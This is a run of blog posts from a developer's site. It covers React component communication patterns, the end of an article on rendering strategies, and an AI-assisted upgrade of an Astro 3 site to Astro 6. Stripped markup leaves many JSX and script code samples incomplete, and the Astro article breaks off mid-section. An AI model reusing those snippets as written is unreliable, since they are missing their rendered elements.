The rest are tools you reach for when a specific problem actually calls for them.
Fine-grained reactivity when updating performance on a busy screen is the cause of the issue.
Resumability when you're large enough that hydration costs have become the bottleneck, and the first interaction must be instant.
CSR when the page is behind a login, and nobody's first paint matters.
Nobody's site ever got slow because they server-rendered some HTML and hydrated it.
It's always the other direction: a content blog shipping a full app runtime, an app fighting hydration cost it never measured, a marketing page blank for two seconds while a bundle loads.
Match the strategy to how much of your page is actually interactive, and reach for something more exotic only when you can name the problem it solves.
## References
- [Resumable vs. Hydration](https://qwik.dev/docs/concepts/resumable/) - Qwik docs, on serializing execution state instead of replaying it
- [Islands Architecture](https://docs.astro.build/en/concepts/islands/) - Astro docs, on client and server islands
- [Client Directives](https://docs.astro.build/en/reference/directives-reference/) - Astro docs, on the `client:*` loading contracts
- [Resumability vs Hydration](https://www.builder.io/blog/resumability-vs-hydration) - Builder.io, comparing React, Solid, and Qwik on the spectrum
- [New Suspense SSR Architecture in React 18](https://github.com/reactwg/react-18/discussions/37) - React working group, on streaming and selective hydration
- [How Wix Solved React's Hydration Problem](https://www.wix.engineering/post/40-faster-interaction-how-wix-solved-react-s-hydration-problem-with-selective-hydration-and-suspen) - Wix Engineering, a production selective-hydration case
- [Server Components](https://react.dev/reference/rsc/server-components) - React docs
- [React Server Components Your Way](https://tanstack.com/blog/react-server-components) - TanStack blog, on the client-first, RSCs-as-streams model
- [How to choose the best rendering strategy](https://vercel.com/blog/how-to-choose-the-best-rendering-strategy-for-your-app) - Vercel, on SSG, ISR, SSR, CSR, and per-route mixing
- [Ripple](https://github.com/Ripple-TS/ripple) - the newest fine-grained, compiler-driven TypeScript framework
- [State of JavaScript 2025: Meta-Frameworks](https://2025.stateofjs.com/en-US/libraries/meta-frameworks/) - satisfaction rankings for Astro, Next.js, and others
---
## Component Communication Patterns in React Applications
URL: https://neciudan.dev/component-communication-patterns-in-react
Published: 2026-06-20
Communication is the cornerstone of civilization. And just like humans need to communicate, so do our components.
Now there are many books on Architecture and Design Patterns for communicating between modules (if you are interested, the list is at the bottom), but we dont have anything similar for Frontend, especially React.
The problem is that React gives you a lot of different ways to make two components share something, and which one is right almost always comes down to two things people rarely stop to think about:
- How far apart the two components actually are.
- What kind of value is moving between them.
A theme that the whole app reads is a completely different problem from a filter that two sibling components share, which is different again from a user record that really lives on the server.
This article will walk through the options, starting with the closest distance between components.
## Props and callbacks
The simplest situation is this.
You have a parent component that renders a child, and both need to agree on a single value. They're sitting right next to each other in the tree, so there's almost no distance to cover, and React already gives you everything you need to cover it.
Data flows down as props from parent to child, and up as callbacks—no need for fancier solutions when components are close.
Here's that shape in practice, with a filter that a parent owns and two children care about:
```tsx
function FilterBar({ filter, onFilterChange }) {
return (
);
}
function TodoPage() {
const [filter, setFilter] = useState('all');
return (
<>
>
);
}
```
TodoPage holds the filter, FilterBar reads and updates it, and TodoList uses it for display.
The state should live at the lowest point where both children have access, which is the shared parent. "Lifting state up" is the go-to approach when siblings need to share a value.
The problems start when that value has to travel through components that have no interest in it whatsoever, just to reach the one that does. Something like this:
```tsx
function Page({ user }) {
return ;
}
function Layout({ user }) {
return ;
}
function Sidebar({ user }) {
return ;
}
```
Layout and Sidebar don't use user; they're just passing it down to Avatar. This is called prop drilling and is a common reason to consider a different communication pattern.
But before reaching for other tools, remember that a three-level prop drill can often be solved with **composition**.
Instead of passing data down, pass the rendered element as children so the data doesn't need to move through uninterested components.
```
function Page({ user }) {
return (
);
}
```
Now the user goes directly to where it's needed, skipping Layout and Sidebar.
## Colocation
Before connecting components, check whether they really need to communicate.
Sometimes the state is moved up "just in case" another child might need it, but if that sibling never appears, the state ends up being shared for no reason.
Here's the kind of thing I mean:
```tsx
function Dashboard() {
const [searchTerm, setSearchTerm] = useState('');
const [isMenuOpen, setIsMenuOpen] = useState(false);
return (
<>
>
);
}
```
searchTerm belongs in the Dashboard because both children use it. isMenuOpen, though, is only used by Menu but still lives in the parent.
This means Dashboard and its children re-render unnecessarily when isMenuOpen changes.
The fix is to send that state back down to where it's actually used:
```tsx
function Menu() {
const [isOpen, setIsOpen] = useState(false);
return ;
}
```
Colocation means moving the component as close as possible to the component that uses it, never higher than needed.
This applies both within a component and across the tree; use the smallest scope necessary.
Colocating the state improves performance, too. State updates re-render the component and its children; if the state is too high, unnecessary re-renders happen.
So before you reach for any of the tools in the rest of this article, do the cheaper thing first and confirm the two components really do need to share something. In my experience, a good chunk of the "shared state" I've deleted over the years was never shared by anything.
## Imperative calls
Sometimes a parent doesn't want to share any state with a child whatsoever. What it wants is to reach in and *tell that child to do something*. Play this video. Focus this input. Scroll to this particular row. Open this dialog.
The tool for that is a `ref` paired with `useImperativeHandle`.
The child decides on a small, deliberate set of methods to expose, and the parent gets to call them directly.
In React 19, `ref` is finally just a regular prop, so the child can read it straight out of its props like anything else:
```tsx
function VideoPlayer({ src, ref }) {
const videoRef = useRef(null);
useImperativeHandle(ref, () => ({
play: () => videoRef.current.play(),
pause: () => videoRef.current.pause(),
}));
return ;
}
function Page() {
const playerRef = useRef(null);
return (
<>
>
);
}
```
If you're still on React 18 or earlier, the only difference is that the same component has to be wrapped in `forwardRef` in order to receive that `ref`, since `ref` wasn't a normal prop back then.
So you'd write `const VideoPlayer = forwardRef(function VideoPlayer({ src }, ref) { ... })` and everything else stays exactly the same.
To know when to use, think about it like this: if you'd naturally say "do X," it's imperative, and this is your tool. If you'd say "we both need to know Y," then it's a state.
## Context
Now, let's say the distance between components has genuinely grown.
You've got a value that's needed by a lot of components scattered at a lot of different depths, and you've already tried the composition trick from earlier, and restructuring everything around `children` would twist your component tree into something unreadable.
On top of that, the value barely ever changes once it's set.
The classic examples here are the current theme, the logged-in user, the active locale, and the accent color your design system provides.
These are values that get read all over the place but written almost never, and that combination is exactly what context was built for.
It lets any component reach in and grab the value without you having to thread it through every layer in between.
```tsx
const ThemeContext = createContext('light');
function App() {
const [theme, setTheme] = useState('light');
return (
);
}
function ThemeToggle() {
const theme = useContext(ThemeContext);
// ...
}
```
The nice part is that any component living under that provider can call `useContext` and read the value directly.
Here's the catch, though, and it's the reason context has the slightly bruised reputation it carries. Whenever the value in a context changes, every single component consuming that context re-renders.
All of them, no exceptions.
And before you assume `React.memo` will rescue you here, it won't, which catches a lot of people off guard. The thing about `memo` is that it skips a re-render when a component's *props* haven't changed.
But a context consumer isn't reacting to props at all; it's reaching past them and subscribing to the context directly. So when the value's identity changes, every consumer re-renders straight through any `memo` boundary you've placed between them and the provider, as if it weren't there.
Which means the moment you do something like this, you've quietly built yourself a performance trap:
```tsx
// Don't do this
const AppContext = createContext();
function App() {
const [user, setUser] = useState();
const [theme, setTheme] = useState();
const [notifications, setNotifications] = useState([]);
return (
{/* ... */}
);
}
```
Every time `App` re-renders, that `value={{ user, theme, notifications, ... }}` builds a brand-new object with a brand-new identity, even when none of the actual values inside it have changed (That's how JavaScript objects work).
React compares the new object to the previous one, sees they have different identities, concludes the context changed, and forces every child in the context to re-render.
There are ways out, but each one is a bit of a chore.
You can split that one context into several narrow ones, so a change to the notifications context doesn't wake up everyone reading the theme.
You can wrap the value object in `useMemo,` so it retains its identity when nothing relevant has changed.
You can even separate the state context from the dispatch context, so the components that only ever fire actions don't re-render every time the state moves underneath them.
But notice what's happening once you're stacking split contexts and `useMemo` to hand-build selector behavior that context refuses to give you natively.
Context was designed to inject values that change slowly, not to act as the backing store for a state that updates many times a second across a wide tree.
When you find yourself fighting it that hard, you've outgrown it.
## A global store
So you've arrived at the situation that the context couldn't handle.
The value changes frequently, plenty of components across the tree each read a different slice of it, and what you really need is for each of those components to re-render only when its own slice changes.
You might just need a State Management Library.
The one I reach for first these days is Zustand, mostly because it's small. (I have this podcast episode with the author of Zustand, Jotai, and Waku, where we talk in depth on why it's small, [check it out here](https://www.youtube.com/watch?v=ns8ith5cu-U&list=PLeeGnEj5psFIwWJfpCwnedMsFApK6CvRr&index=20))
```tsx
import { create } from 'zustand';
const useCartStore = create((set) => ({
items: [],
addItem: (item) => set((state) => ({ items: [...state.items, item] })),
clear: () => set({ items: [] }),
}));
function CartCount() {
// Re-renders only when items.length changes, not on every store update
const count = useCartStore((state) => state.items.length);
return {count};
}
function AddButton({ product }) {
const addItem = useCartStore((state) => state.addItem);
return ;
}
```
When `CartCount` subscribes with `(state) => state.items.length`, it's telling Zustand to wake it up only when that specific number changes.
And `AddButton` subscribes to `addItem`, which is a function whose identity never changes, so it effectively never re-renders from store updates.
The store is just a hook you call. And because it isn't tied to React's render cycle, you can also read it from outside a component entirely with `useCartStore.getState()`, which sounds like a footnote until the first time you need to call some store logic from an event handler or a utility that isn't a component, and it's just there waiting for you.
I do want to add one caveat right here.
If you write a selector that builds and returns a *new* object or array every time it runs, you are not using Zustand corectly and have the same problem as Global Context.
Say you write `useCartStore((s) => s.items.filter(i => i.active))`.
That `filter` returns a freshly created array on every call, so it has a new identity each time. Zustand compares it to the previous one by identity, sees two different references, and concludes the value changed, which makes your component re-render on every render, forever.
The solution is the hook `useShallow` from `zustand/shallow`, which compares the *contents* instead of the identity.
Selectors that return a single primitive value, like `items.length` or a single string field, are fine as they are; it's only those that assemble a new object or array that need the extra help.
Now, Zustand isn't the tool you can use.
Redux Toolkit (the new Redux library) is still genuinely the right call for a particular kind of application: the large, long-lived one with many engineers touching it, where DevTools time-travel is very useful. (Fun Fact: I also have a podcast episode with Mark Erikson, creator of Redux Toolkit and long-time maintainer of Redux, [check it out here](https://www.youtube.com/watch?v=dbe0wC9Y8bo&list=PLeeGnEj5psFIwWJfpCwnedMsFApK6CvRr&index=3))
And there's a third state management use case you should know about.
Sometimes your shared state isn't really one object at all; it's more like a graph of many small, independent values.
For that, Jotai (also from Daishi Kato, the creator of Zustand) models states as atoms you compose, and components subscribe at the level of an individual atom, so a change to one atom only ever touches the components reading that specific atom.
It's the same flow Zustand gives you, just approached from the bottom up instead of the top down.
The rule sitting underneath all three of these is the same: a global store is for a state that is, honestly, actually global.
The mistake people make is borrowing the store's ability to reach anywhere as a shortcut for a state that isn't global at all.
And the single most common thing stuffed into one of these stores is server data, which has its own dedicated tool, and we will talk about next.
## Server state
Here's a thing that took me embarrassingly long to internalize: the single largest pile of what we call "shared state" in most apps doesn't actually belong to the app at all.
It belongs to the server, and all your app is really doing is holding a copy.
Think about what tends to go into a global store. A user object. A list of orders. The contents of a cart that's really persisted in a database somewhere.
So a team drops all of that into their store, and then they have to write a whole machine around it to keep that copy honest, the loading flags, the error flags, the refetch logic, the cache invalidation, every bit of it by hand.
The store slowly fills up with data that has a real owner living somewhere else entirely, and every component reading it is reading a snapshot that can be stale the very instant the database changes underneath it.
The reason this is so awkward is that server state behaves very differently from client state.
It's owned remotely, so you're never the authority on it. It goes stale on its own, without you having to touch it.
Someone else can change it while you're sitting there looking at your copy.
And there's always that gap in time between asking for it and actually receiving it. A plain `useState` or even a Zustand store has no concept of any of those four things, so when you try to model server data with them, you end up reimplementing all of it, usually badly.
This is where TanStack Query comes in, and I wrote a whole gentle introduction to it [you can read here](https://neciudan.dev/a-gentle-introduction-to-tanstack-query).
To make it work, you create a `QueryClient` once at the root of your app, and that's the shared cache every hook in the tree reads from.
```tsx
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
const queryClient = new QueryClient();
function App() {
return (
);
}
```
With that provider in place, any component anywhere in the tree can read from the same cache like this:
```tsx
function UserProfile({ userId }) {
const { data: user, isLoading, error } = useQuery({
queryKey: ['user', userId],
queryFn: () => fetchUser(userId),
});
if (isLoading) return ;
if (error) return ;
return
{user.name}
;
}
```
Take a second to notice everything that *isn't* in there.
There's no `useState` holding the data, no `useEffect` kicking off the fetch, no loading boolean you have to flip yourself, no cleanup logic to throw away a stale response that arrived too late.
But the part that's easy to miss, and the part that earns this a place in an article about communication, is what happens when more than one component wants the same data.
You could have ten components scattered all over the tree, each one calling `useQuery` with that same `['user', userId]` key.
Because they're all sharing a single `QueryClient`, only one network request actually fires within the dedupe window, and the rest just read the cache entry that request fills.
They all update together the instant that the entry changes.
Writes to the server state fit the same picture. A mutation runs the update against the server, then tells the cache which keys are now stale, and every component subscribed to those keys handles its own refetch and re-render from there:
```tsx
function AddToCart({ product }) {
const queryClient = useQueryClient();
const mutation = useMutation({
mutationFn: (item) => postCartItem(item),
onSuccess: () => {
// Everything reading ['cart'] is stale now; refetch it
queryClient.invalidateQueries({ queryKey: ['cart'] });
},
});
return (
);
}
```
And once your server state lives in a query cache where it actually belongs, you'll usually find your global store shrinks down to almost nothing.
So much of what was crammed into it was never client state in the first place; it was server state, and once you remove it, what's left behind is the genuinely client-only, genuinely global stuff, which tends to be a far shorter list than the store you started with.
## URL State
A lot of what we call application state isn't really state about the application at all; it's just a description of what the user is looking at right now.
The filter is active. The page they're on is in a paginated table. The search query they typed. The tab they selected. Whether a detail panel is open or closed. None of that is really *yours* to hold onto in memory, because it's just a snapshot of the current view.
And for that whole category of "what am I currently looking at," the browser has already handed you a global, shareable, persistent store that you can use: the URL.
The moment you move that state into the URL, three separate problems quietly solve themselves at once.
The view becomes shareable because the link now carries the state, so someone can paste it to a colleague and land on the exact same view, and it survives a refresh because the state was never trapped in memory to begin with.
And the back button starts working the way users expect, because each state you set becomes its own entry in the browser's history.
The best part is that you get all of this precisely for the kind of state users most expect to be able to bookmark and send around.
The raw way to do this is `URLSearchParams`, but it's string-only and genuinely miserable to keep in sync by hand, so in practice I reach for `nuqs`, which makes a search param behave like a typed `useState`:
```tsx
import { useQueryState, parseAsInteger } from 'nuqs';
function ProductList() {
const [search, setSearch] = useQueryState('q');
const [page, setPage] = useQueryState('page', parseAsInteger.withDefault(1));
// Both now live in the URL: /products?q=shoes&page=2
}
```
I believe this belongs in an article about communication because it connects two components that are far apart.
Picture a filter bar on one side of your layout and a results table on the other. With the URL holding the state, they don't need a shared parent, a context, or a store to stay in step with one another. They simply both read and write the same URL parameter.
The URL is the shared state, and the router is the broadcast mechanism quietly notifying everyone when it changes, so you've got two distant components staying perfectly coordinated through a channel that also happens to be the address bar at the top of the window.
Where do you draw the line on this? The test I use is simple.
If the state describes the view and a user would reasonably want to link to it, it belongs in the URL.
But if it's an ephemeral interface state that would just be strange to find in a shared link, a half-open dropdown, a hover effect, the unsaved contents of a form draft, then keep it local.
## Event-driven communication
Picture two components that have no sensible shared ancestor, no shared URL state, and no shared server resource tying them together.
The relationship they have is better described not as "we both need to know this value" but as "when this thing happens over here, that thing should react over there."
The example everyone reaches for, because it's such a clean fit, is a toast notification system.
Almost anything, almost anywhere in your app, might need to raise a toast, and meanwhile, a single toast viewport sitting somewhere in your layout is responsible for actually displaying them.
If you tried to solve that by threading a callback from every possible sender all the way up to some common parent and then back down to the viewport, you'd be building the exact prop-drilling nightmare this whole article has been steering you away from.
So your next thought is probably the one you've earned by reading this far: just reach for context, or a global store.
The catch is that a toast isn't a value at all. It's a moment. It flares up, it gets shown, and it's gone, and nobody ever needs to sit there reading "the current toast" the way they'd read the current theme or the logged-in user.
But context and stores are both built entirely around values that persist and get read, so the second you try to force a fleeting event into one of them, you feel the tool resisting you.
With context, you'd have to park the toast in state, push it down through the provider, and watch every consumer re-render each time one popped up.
A store gets you a little closer, and plenty of toast libraries are genuinely built on one, but you end up bending a thing designed to hold a readable state around what's really just a queue of one-off messages the viewport drains and forgets.
What you actually want is a way to simply broadcast: to say "this happened" out loud and let whoever cares hear it, with nothing kept around afterward.
The pattern that genuinely fits this is publish-subscribe, where a publisher announces that something happened without having the faintest idea who's listening, and subscribers react to it without knowing or caring who announced it.
And the good news is you don't need to reach for a library to get this. The browser actually ships two event systems you can use, and even if you wanted to build the whole thing from scratch, it's only about a dozen lines.
The most direct route uses `EventTarget`, which is the very same machinery that `addEventListener` is built on under the hood, just exposed to you to instantiate directly:
```tsx
// A standalone event bus. No dependencies.
const bus = new EventTarget();
// Publish from anywhere
function notify(message, type = 'info') {
bus.dispatchEvent(new CustomEvent('toast', { detail: { message, type } }));
}
// Subscribe from the viewport
function ToastViewport() {
const [toasts, setToasts] = useState([]);
useEffect(function subscribeToToasts() {
function handleToast(event) {
setToasts((current) => [...current, event.detail]);
}
bus.addEventListener('toast', handleToast);
return () => bus.removeEventListener('toast', handleToast);
}, []);
// render toasts
}
```
The beauty of it is that `notify('Saved!', 'success')` can be called from a button handler, deep in your API layer, a route guard, or anywhere at all, and it reaches that viewport without a single shared prop running between them.
The `detail` field hanging off `CustomEvent` is simply how you smuggle the payload through to the other side.
And if you'd rather not lean on DOM types for this, the same idea collapses into a tiny hand-rolled registry, really just a map of event names to sets of callbacks, with `emit`, `on`, and `off` to drive it.
That, when you get right down to it, is all that `mitt` (an event-driven library) and the other micro-libraries in this space actually are, and it's worth seeing that you could write the thing yourself in an afternoon:
```tsx
function createEmitter() {
const listeners = new Map();
return {
on(event, fn) {
if (!listeners.has(event)) listeners.set(event, new Set());
listeners.get(event).add(fn);
return () => listeners.get(event).delete(fn); // unsubscribe
},
emit(event, payload) {
listeners.get(event)?.forEach((fn) => fn(payload));
},
};
}
export const events = createEmitter();
```
Whichever of the two you go with, the defining quality is that the sender and the receiver share nothing and know nothing whatsoever about each other.
That total decoupling is amazing when you think about it, but it's also very problematic.
When you are debugging or refactoring you can't trace the flow by reading down the component tree, because there *is* no tree connection to read, so instead you end up grepping for the event name across the codebase and hoping you managed to find every last listener.
There's also a timing trap.
An event that fires before its subscriber has mounted is simply gone, because there was no one listening when it went out.
For toasts, that's a non-issue, since the toast that fires on a click already has a viewport mounted and ready. But for something like a "session expired" event that fires during app boot, the listener might not even exist yet, and you'll need to either buffer those early events or arrange to fire them only once the subscriber is guaranteed to be up.
All of which is why I'd treat this as a genuine last resort.
It earns its place for the truly cross-cutting, fire-and-forget kind of signal, but the moment you catch yourself using an event bus to share a plain value that two components both need in order to render it, you've used it wrong, because that was lifted state or a store all along.
## How to actually choose
When you boil it all down, the decision really comes back to the same two questions every time: how far apart are the two components, and what kind of value is actually moving between them.
For a long time, most apps needed only a small handful of these. You'll use props and callbacks constantly, a bit of context for genuinely app-wide stuff like theme and the current user, and TanStack Query for anything that comes from your backend.
That combination alone will carry you a remarkably long way, then everything else is a tool you reach for when a specific problem actually calls for it.
Nobody's dashboard has ever ground to a halt because someone dared to use props. It's always the other direction: a global store pressed into service for local state, a context made to babysit server data, an event bus smuggling around a value that should have been a simple prop.
The reason the big tools are so seductive is precisely that they reach from anywhere, and "reaches from anywhere" turns out to be very hard to tell apart from "I never stopped to think about where this actually belongs."
Reach for the closest tool that can actually reach the problem, and only move outward when that tool genuinely stops working.
Good luck.
## Reading list
- [Fluent React](https://www.amazon.com/Fluent-React-Performant-Intuitive-Applications/dp/1098138716) by Tejas Kumar
- [React Application Architecture for Production](https://www.amazon.com/React-Application-Architecture-Production-hands/dp/1836202970) by Alan Alickovic
- [Software Architecture: The Hard Parts](https://www.amazon.com/Software-Architecture-Trade-Off-Distributed-Architectures/dp/1492086894) by Neal Ford, Mark Richards, Pramod Sadalage, and Zhamak Dehghani
- [Software Architecture Patterns](https://www.oreilly.com/library/view/software-architecture-patterns/9781098134280/) by Mark Richards
## References
- [Sharing State Between Components](https://react.dev/learn/sharing-state-between-components) - React docs, on lifting state up
- [Passing Data Deeply with Context](https://react.dev/learn/passing-data-deeply-with-context) - React docs, including the "Before You Use Context" section
- [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect) - React docs, on derived and colocated state
- [Component composition is great btw](https://tkdodo.eu/blog/component-composition-is-great-btw) - TkDodo, on solving drilling with composition
- [Zustand](https://github.com/pmndrs/zustand) - minimal store with selector-based subscriptions; see `useShallow` for selectors that return new objects or arrays
- [Jotai](https://jotai.org/) - atomic state for graph-shaped client state
- [Redux Toolkit](https://redux-toolkit.js.org/) - the standard way to use Redux at scale
- [nuqs](https://nuqs.dev/) - type-safe URL search-param state for React
- [TanStack Query](https://tanstack.com/query/latest) - server state as a synchronized cache
- [EventTarget](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget) - MDN, the built-in event system behind the from-scratch bus
- [mitt](https://github.com/developit/mitt) - the micro event-emitter, if you'd rather not hand-roll one
- [useImperativeHandle](https://react.dev/reference/react/useImperativeHandle) - React docs, for imperative parent-to-child calls
- [ref as a prop](https://react.dev/blog/2024/12/05/react-19#ref-as-a-prop) - React 19 release notes, on dropping `forwardRef`
---
## Upgrading from Astro 3 to Astro 6, with Claude doing most of the work
URL: https://neciudan.dev/astro-upgrade-from-3-to-6
Published: 2026-06-11
After three years on Astro 3.0.2, this site was overdue for an upgrade.
I knew the project was behind. But I was surprised to find that I am three whole versions behind, with 45 known vulnerabilities in the dependency tree, a deprecated config, and a Tailwind integration the Astro team had stopped maintaining.
Migrating was very complicated. This project is much more than a blog: it includes courses, workshops, automated emails, reminders, subscriptions, podcast summaries, ads, and more.
Even moving to a single new version was daunting.
But when Anthropic released Fable 5, the first in the Claude 5 family, I finally had a chance to put it to the test on a major project.
So I pointed it at the upgrade, and three days later, the site runs Astro 6.4.5, builds 44% faster, ships 96–98% less JavaScript on the course pages, and has half as many high- and critical-vulnerability issues as before.
Along the way, we only broke the course production once.
Oppsie. I'll get to that. But first here is how it went, step by step.
## Why now
The honest motivation was realizing that I was preaching modularity in every workshop while my entire app was all over the place.
I wanted to move to microfrontends.
Before I can get there, I need to turn this site into a shell application (a container that loads independent feature modules).
The first real extraction is the security course: its content, pages, and components will move into their own module folder.
On Astro 3, that's impossible, because 'content collections' (groups of content files managed by Astro) must live in `src/content/`. The framework decides where your content lives.
Astro 5 introduced the Content Layer API, which replaces that restriction with `loader` functions you can point anywhere.
So the upgrade became a must-do to achieve modularization.
For the first PR, I had a clear goal: upgrade three majors with zero change to URLs, layout, styling, or behavior.
Nothing moves, and nothing gets redesigned as tests are added along the way.
## How it started
The plan had a big, hard check I would use as a gate (Which Fable recommended adding).
Before touching anything, a script captured every HTML file the Astro 3 build produced into a sorted list — 290 routes.
After the upgrade, the same command runs again, and the two lists get diffed: if we don't have identical file paths and route slugs, the CI/CD failed.
This was the main risk for the migration: that the routes changed and my users would see 404s, or, worse, my SEO would go down.
## What breaks between Astro 3 and 6
If you're sitting on an Astro 3 site, wondering what all the breaking changes are between the 3 versions, and are scared to take a look (like I was), the list is quite small (Congrats, Astro team). Let's go through them:
**Legacy content collections are gone.**
This is the big one. Astro 6 removed support for schema-only (validation rules) collections entirely—every collection now requires an explicit Content Layer loader (a custom file-reading function).
To update, you have to point a file selector called a `glob` loader at the folder where your content already lives. A `glob` loader is a tool that automatically detects files in a specified folder based on a filename pattern.
```ts
import { glob } from 'astro/loaders';
const postCollection = defineCollection({
loader: glob({ pattern: '**/*.{md,mdx}', base: './src/content/post' }),
schema: z.object({ /* unchanged */ }),
});
```
Your files don't move, and your zod schemas don't change.
However, the way you access each entry changes: `entry.slug` (the user-friendly page identifier) no longer exists. Instead, it’s now `entry.id`, which is based on the file path (excluding the extension), and `entry.render()` is replaced by a standalone `render(entry)` function imported from astro:content.
This site had 32 instances where the `.slug` property (which typically represents a URL-friendly identifier) was read and 39 places where the `getCollection` function was called across four different data collections.
Each of these `.slug` property accesses needed to be replaced with `.id` accesses, ensuring that the returned value remains unchanged.
If `entry.id` for a nested lesson file resolves to anything other than what `entry.slug` used to be, `getStaticPaths` generates different URLs, and your search rankings evaporate.
Thanks to our route diff checker, we caught this early.
**`output: 'hybrid'` no longer exists.**
Astro 5 changed the hybrid content mode to 'static' by combining it into the output.
Now, pages become static (pre-rendered) by default, and you can mark individual routes for server-side rendering (SSR) with export const prerender = false. (SSR means content is generated at request time on the server.)
This is mostly a one-line configuration change, followed by checking where prerender is used.
**Node 22 is now required.**
Astro 6.4.x requires Node.js version `>=22.12.0`.
This affects several configurations — for this site, it meant specifying the Node.js version in `netlify.toml` (Netlify deploys), `.nvmrc` (local development), and `engines.node` (Node version for package managers) so local environments, continuous integration (CI), and the deployment runtime all use the same Node.js version.
**Your dependencies jump majors with you.**
`@astrojs/netlify` went from version 3 to 7 here. The `npx @astrojs/upgrade` tool automatically finds the set of compatible package versions for you, which mostly works—except for one issue.
Three packages in this project (`@astrojs/tailwind`, `@astrolib/seo`, `@astrolib/analytics`) cap their peer dependencies at Astro 5, and Netlify runs a strict `npm ci` that refuses to install them.
The pragmatic fix was setting `legacy-peer-deps=true` (which tells npm to ignore peer dependency conflicts) in `.npmrc`. The real fix is replacing all three packages. We deferred this so the upgrade stayed purely infrastructural. (But we will fix it later; hopefully, I won't forget.)
That's it.
We had zero `Astro.glob` uses, the image API didn't complain, and the icon integration survived untouched.
## The migration, in numbers
Once the build was successfully completed ("green" means no errors), we measured the impact. Both builds used identical content on the same machine, so the comparison isolates the migration itself.
| Metric | Astro 3 | Astro 6 | Change |
|---|---|---|---|
| Production build (wall clock) | 25 s | 14 s | **−44%** |
| Astro server-build phase | 23.4 s | 9.9 s | **−58%** |
| Client JS (total) | 849 KB | 746 KB | **−12%** |
| Known vulnerabilities | 45 | 26 | **−42%** |
| — high + critical | 20 | 10 | **−50%** |
| HTML pages generated | 290 | 290 | identical |
The biggest pleasant surprise was that my build time was cut in half.
Nothing about this site changed — same content, same pages — and the Astro server build phase dropped from 23.4~ seconds to 12~ seconds (I tried it 10 times and took the average).
Those gains come from improvements in the Astro compiler and the Vite tool, simply by upgrading.
But External CSS grew by 116 KB because Astro changed how it decides what to inline and what to externalize between versions 3 and 6. (Honestly, this was a lot, and I flagged it for future improvements.)
The net payload (JS + CSS) moved 1.2%, and the rendered pages are visually identical.
The route diff came back empty: 290 routes in, 290 routes out with the same slugs and content.
Then, after a quick LGTM review, I merged the PR and now the interesting part could start.
## Auditing three major features
Upgrading a software framework and then not using any of its new features for three years would be like buying an F1 car and keeping it in the garage.
What did Astro 4, 5, and 6 add that this site should use to improve it?
Fable went through the release notes feature by feature and produced a ranked table — what each feature does, the concrete opportunity in this codebase, the expected benefit, the effort, and the risk.
Here is the trimmed-down version of it:
| Feature | What it does | Opportunity here | Expected benefit | Effort | Risk |
|---|---|---|---|---|---|
| **Responsive Images** | Native `srcset`/`sizes`, `priority` prop for LCP | Replace 320+ lines of manual srcset logic in our custom `Image.astro` | Smaller images, correct `sizes`, ~320 lines deleted | S | Low |
| **``** (View Transitions) | SPA-style navigation with animations | Blog index → post and course module nav | Instant perceived navigation | S | Medium — inline scripts need `astro:page-load` guards |
| **Prefetch** | Hover/viewport prefetching for links | Blog cards + course module links | Near-zero latency on common paths | S | Low |
| **`astro:env`** | Typed env schema: client/server, public/secret | 15+ untyped `import.meta.env` reads across 6 files | Build-time validation; secrets can't ship to the client | M | Low |
| **`astro:actions`** | Type-safe server actions with Zod validation | The subscribe API route + the form-handling Netlify functions | One typed contract instead of fetch boilerplate | L | Medium — Stripe/external functions keep their own runtime |
| **Server Islands** (`server:defer`) | CDN-cached static shell + deferred server-rendered component | Course dashboard runs auth 100% client-side, shipping 166 KB of Supabase to every visitor | Auth moves server-side; Supabase ships only when needed | L | High — needs server-readable (cookie) sessions |
| **Fonts API** | Fonts declared in config; auto preload + optimized fallbacks | Replace `@fontsource-variable/inter`; font preload is currently absent | LCP/CLS win on every page | S | Low |
| **SVG Components** | Import `.svg` files as components | Little — `astro-icon` already covers icons | Cleaner markup at best | S | Low |
| **`` + AVIF** | Multi-format `` output | Hero images (likely the LCP element) are WebP-only today | AVIF is 30–50% smaller than WebP | S | Low |
| **Route caching** | SSR response cache | Only two SSR routes exist; Netlify edge caching already covers them | Little | M | High — experimental |
| **Queued rendering / Rust compiler** | Faster builds | CI build times | Faster builds | S | High — experimental |
| **Live Content Collections** | Request-time content without rebuilds | None — all content here is file-based | None | — | — |
| **CSP** | Auto-hashed inline scripts + `Content-Security-Policy` header | Needs an audit of every inline script first | XSS hardening | M | Medium |
| **i18n Routing** | Built-in locale routing | None — the site is English-only | None | — | — |
Alongside it, two more audits that I do every 3 months: accessibility (WCAG 2.2 AA, beyond what automated tools catch) and SEO. (If you want to read more about this, I have a nice [Astro SEO article](https://neciudan.dev/astro-seo-checklist-2026) and an [Astro Performance article](https://neciudan.dev/how-i-cut-250gb-of-bandwidth-from-my-website))
Two things about that opportunities document stood out to me.
I loved the fact that it had a "not worth adopting" section with reasons.
- Live content collections: I dont have a CMS, so there are no benefits here.
- The experimental Rust compiler: wait for stable (plus my build time is already at 12 seconds).
- i18n routing: the site is English-only.
It declined more features than it recommended, which made the recommendations easier to take seriously.
Second, it flagged its own biggest recommendation as risky.
Server Islands promised the largest win — the course pages shipped a 166 KB Supabase client to every anonymous visitor just to decide whether to show a login gate — but the audit marked it high-risk because it meant rebuilding the auth layer, and recommended a dedicated PR rather than bundling it with the easy wins.
So I(or rather Claude Fable) started with the quick, easy wins:
**The built-in Fonts API.**
Astro 6 lets you declare fonts in the config and handles downloading, caching, preloading, and fallback generation.
This replaced the `@fontsource-variable/inter` npm package — and added `` for the font on all 289 pages, which had been entirely absent before. Free LCP and CLS improvement, plus a metric-adjusted system-font fallback while the webfont loads.
**Prefetch.**
One config line enables hover and viewport prefetching on links. Blog cards and course navigation (133 pages) now start fetching the next page before you click.
**Lazy-loading the Supabase client off the dashboard entry script.**
The course dashboard's entry bundle went from roughly 170 KB to 7.6 KB by not importing Supabase until it's needed. This one is not even an Astro feature; it was an old problem that the audit surfaced along the way.
**Bundling Prism instead of pulling it from a CDN.**
Every lesson page loaded its syntax highlighting via four render-blocking third-party `
```
That `
```
`is:inline` is the part that took me a minute to figure out. Without it, Astro's build (Vite) tries to resolve `/pagefind/pagefind-ui.js` at build time, fails (because Pagefind hasn't run yet), and crashes the build.
`is:inline` tells Astro to skip Vite processing on that script tag and emit it verbatim into the HTML. The dynamic `import()` runs in the browser, where the file does exist.
